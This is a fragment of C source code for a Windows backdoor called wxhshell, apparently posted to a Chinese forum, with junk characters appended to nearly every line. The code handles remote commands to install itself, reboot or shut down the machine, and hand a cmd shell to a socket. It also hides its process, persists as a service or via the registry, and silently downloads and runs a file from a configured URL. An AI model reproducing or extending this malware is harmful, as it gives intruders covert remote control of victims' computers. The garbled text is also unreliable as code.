  else { aCU7w5  
']d!?>C@o  
    switch(cmd[0]) { T6h;Y  
  8 zQ_xE  
  // 帮助 A*7Io4e!  
  case '?': { L.09\1?.n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kyW6S+#-  
    break; +A8=R%&b)[  
  } Kk!6B  
  // 安装 >a&?AP #  
  case 'i': { ]]p19[4s  
    if(Install()) 5,HCeN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gdoJ4b  
    else ' "ZRD_"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )l+XDI  
    break; #&^ZQs<  
    } H$~M`Y9I~  
  // 卸载 N?qIpv/a.  
  case 'r': { .sd B3x  
    if(Uninstall()) nB cp7e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ";wyNpb(  
    else 2 ) TG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ZQl IJZ  
    break; 6 QN1+MwB  
    } 8- dRdQu]  
  // 显示 wxhshell 所在路径 4R& *&GZ#  
  case 'p': { l `fW{lh  
    char svExeFile[MAX_PATH]; 8A2if 9E3  
    strcpy(svExeFile,"\n\r"); Sk8%(JD7  
      strcat(svExeFile,ExeFile); -W|*fKN`3  
        send(wsh,svExeFile,strlen(svExeFile),0); u^`eKak"l  
    break; OJMvn'y  
    } R&6n?g6@/V  
  // 重启 N4I^.k<-A  
  case 'b': { <A#5v\{.;~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2}^+ ]5  
    if(Boot(REBOOT)) JQ*D   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GN\8![J  
    else { wl7 MfyU  
    closesocket(wsh); !2GHJHxv]c  
    ExitThread(0); xK$}QZ)  
    } /a@ kS  
    break; Y.DwtfE  
    } oJP< 'l1  
  // 关机 >$2E1HW.  
  case 'd': { |'ZN!2u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X3P&"}a  
    if(Boot(SHUTDOWN)) Px'R`1^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+m@AQ:,  
    else { ~k9O5S{  
    closesocket(wsh); V-[2jC{  
    ExitThread(0); ^ [ET&"  
    } ;LHDh_.pX  
    break; pU M&"V  
    } VVs{l\$=ZV  
  // 获取shell HDyQzCG,  
  case 's': { 48wDf_<f5=  
    CmdShell(wsh); YV*b~6{d  
    closesocket(wsh); j._G7z/LJ  
    ExitThread(0); `koOp  
    break; 0r1g$mKb  
  } -Bj.hx*  
  // 退出 f.@Xjf  
  case 'x': { BRe{1i 6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SEYGy+#K  
    CloseIt(wsh); hO#HvW  
    break; ] } '^`  
    } j2M4H@  
  // 离开 mRCHrw?WG  
  case 'q': { \ 0D$Mie  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >W'j9+Va  
    closesocket(wsh); GOGt?iw*<  
    WSACleanup(); >&BrCu[u  
    exit(1); y $:yz;  
    break; zEy&4Kl{+  
        } _Aa[?2 O  
  } A 6:Q<  
  } QO@6VY@  
 for {  
  // 提示信息 &(g|="T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJCnud F  
} G=1m] >I8  
  } 3 :UA<&=s  
NW)M?f+6  
  return; H- 185]7  
} Yr+d1(  
VQ2Fnb4  
// shell模块句柄 ~]4kkm7Y  
int CmdShell(SOCKET sock) =Ci13< KQ  
{ M2dmG<  
STARTUPINFO si; q?yMa9ZZky  
ZeroMemory(&si,sizeof(si)); WJAYM2 6\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (Q'U@{s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )`<6taKx@n  
PROCESS_INFORMATION ProcessInfo; #'C/Gya  
char cmdline[]="cmd"; ~^x-ym5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n? ]f@OR  
  return 0; !Vb,zQ  
} 3EmcYC  
D{R/#vM jk  
// 自身启动模式 @m?{80;uQ  
int StartFromService(void) >{QdMn  
{ ' X}7]y  
typedef struct @LcT-3u  
{ qp\BV#E  
  DWORD ExitStatus; WKxm9y V  
  DWORD PebBaseAddress; ` VwN!B:  
  DWORD AffinityMask; Ae6("Oid  
  DWORD BasePriority; ?ZaD=nh$mK  
  ULONG UniqueProcessId; v`SY6;<2  
  ULONG InheritedFromUniqueProcessId; r sLc&2F  
}   PROCESS_BASIC_INFORMATION; W<Z$YWr  
FZpsL-yx^N  
PROCNTQSIP NtQueryInformationProcess; 9 Va40X1  
-?5$ PH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q<yAT(w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ".E5t@ }?m  
ywEDy|Wn$~  
  HANDLE             hProcess; QF.3c6O@  
  PROCESS_BASIC_INFORMATION pbi; _W|R;Cz]  
gH'_ymT= 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {V0>iN:~S  
  if(NULL == hInst ) return 0; 7 5|pp  
7 WP%J-   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xorTL8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T/5"}P`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <raG07{!*  
V!xwb:J  
  if (!NtQueryInformationProcess) return 0; ;R!*I%  
Mn@$;\:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xg} ug[  
  if(!hProcess) return 0; <BPRV> 0X  
4>YU8/Rw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]~8v^A7u  
XVF^,Yf  
  CloseHandle(hProcess); q & b5g !  
ZBJ3VK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); um[!|g/  
if(hProcess==NULL) return 0; Q&PB]D{  
MRs,l'  
HMODULE hMod; sPy2/7Wqd  
char procName[255]; IA2GUnUhu  
unsigned long cbNeeded; b=1%pX_  
z,x" a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1ef'7a7e8  
 w;+ br  
  CloseHandle(hProcess); AW/wI6[T  
/$:U$JVb?l  
if(strstr(procName,"services")) return 1; // 以服务启动 .T$D^?G!D  
13a(FG  
  return 0; // 注册表启动 [4XC #OgA  
} vbp-`M(  
;v_V+t <$  
// 主模块 O:^'x*}  
int StartWxhshell(LPSTR lpCmdLine) l E^*t`+  
{ c#QFG1  
  SOCKET wsl; qo_]ZKL44  
BOOL val=TRUE; JKy#j g:#  
  int port=0; ue6d~8&  
  struct sockaddr_in door; VNj@5s  
]'k[u  
  if(wscfg.ws_autoins) Install(); 7~b!4x|Z  
!)c=1EX]"  
port=atoi(lpCmdLine); ],[)uTZc  
G52Z)^  
if(port<=0) port=wscfg.ws_port; ZPyM>XK$4  
=VSkl;(O  
  WSADATA data; O R #7"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V7C1FV2  
:6lwO%=F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yU7I;]YP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sx5r(0Z  
  door.sin_family = AF_INET; SY1GR n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0^#DNq*NQ  
  door.sin_port = htons(port); =IHje;s  
7tgFDLA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O-PdM`mqW  
closesocket(wsl); [bjN f2  
return 1; xo  Gb  
} yN\e{;z`  
:wipE]~4t  
  if(listen(wsl,2) == INVALID_SOCKET) { -;pOh;WG  
closesocket(wsl); ((|IS[  
return 1; #s2B%X  
} 2\0Oji\6  
  Wxhshell(wsl); QaQ'OrP  
  WSACleanup(); wqy ^8N[K]  
xU}M;4kH~  
return 0; 73 V"s  
}Hy ~i  
} l>&sIX  
.Xd0 Q=1h  
// 以NT服务方式启动 nbmc[!PwG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tZA:  
{ -(IC~   
DWORD   status = 0; y ~AmG~  
  DWORD   specificError = 0xfffffff; {DBIonY];  
>F3.c%VU]w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ld(NhB'7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }U[-44r:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9y^/GwUQ  
  serviceStatus.dwWin32ExitCode     = 0; 6E|S  
  serviceStatus.dwServiceSpecificExitCode = 0; *)>do L  
  serviceStatus.dwCheckPoint       = 0; #$'FSy#  
  serviceStatus.dwWaitHint       = 0; Wx]d $_  
|!LnAh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d ?hz LX  
  if (hServiceStatusHandle==0) return; ZL_[4 Y  
6y  Wc1  
status = GetLastError(); (oaYF+T  
  if (status!=NO_ERROR) ]sj0~DI*m  
{ aB"xqh)a}T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rj6|Y"gq9  
    serviceStatus.dwCheckPoint       = 0; 'jvpNn  
    serviceStatus.dwWaitHint       = 0; rWQY?K@  
    serviceStatus.dwWin32ExitCode     = status; KcXpH]>!9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6RK\}@^=K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "!L kp2\  
    return; :a3 xvN-l  
  } [B9;?G  
'MQ%)hipA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -9o{vmB{  
  serviceStatus.dwCheckPoint       = 0; G!Zyl^  
  serviceStatus.dwWaitHint       = 0; v0@)t&O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w sY}JT  
} [uR/M  
AK2WN#u@Z  
// 处理NT服务事件,比如:启动、停止 n29(!10Px  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ddDS=OfH  
{ lS9n@  
switch(fdwControl) NK/4OAt%  
{ wss?|XCI  
case SERVICE_CONTROL_STOP: SUE ~rb  
  serviceStatus.dwWin32ExitCode = 0; Q_O*oT(0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4| Ui?.4=  
  serviceStatus.dwCheckPoint   = 0; 2]ti!<  
  serviceStatus.dwWaitHint     = 0; $1 @,Qor  
  { i@zY9,b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $j*Qo/x d  
  } Q"VMNvKYB  
  return; tcL2J.  
case SERVICE_CONTROL_PAUSE: :"'nK6>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DWf$X1M  
  break; 0=![fjm  
case SERVICE_CONTROL_CONTINUE: 8MZ$T3IM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (lWq[0^N  
  break; PW)aLycPK  
case SERVICE_CONTROL_INTERROGATE: =~|:t&v=c  
  break; {THqz$KN  
}; |y1;&<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GAl+Zg##  
} |4C^$  
m ,tXE%l  
// 标准应用程序主函数 7NF/]y4w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l[YEKg  
{ C-SLjJw  
5 9 -!6;T  
// 获取操作系统版本 O#_x)13  
OsIsNt=GetOsVer(); ([LIjaoi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b{&FuvQg2  
'3;v] L?G  
  // 从命令行安装 2 ZG@!Y|  
  if(strpbrk(lpCmdLine,"iI")) Install(); <Ar$v'W=F{  
+)/ Uu3"=  
  // 下载执行文件 {#hVD4$b  
if(wscfg.ws_downexe) { E%3TP_B3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7z'h a?  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ade }g'  
} !7 _\P7M  
}5n  
if(!OsIsNt) { /[pqI0sf<A  
// 如果时win9x,隐藏进程并且设置为注册表启动 x$B&L`QV  
HideProc(); AHd-  
StartWxhshell(lpCmdLine); WS,7dz  
} G[z .&l  
else IXq(jhm8bL  
  if(StartFromService()) CqoG.1jJS  
  // 以服务方式启动 Y &f\VNlT  
  StartServiceCtrlDispatcher(DispatchTable); 6|=j+rScv  
else @ 4UxRp6+  
  // 普通方式启动 QLr9dnA  
  StartWxhshell(lpCmdLine); ' 4 O-  
PK:2xN:=  
return 0; w^;DG  
}
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只看该作者 1 发表于: 2006-10-10
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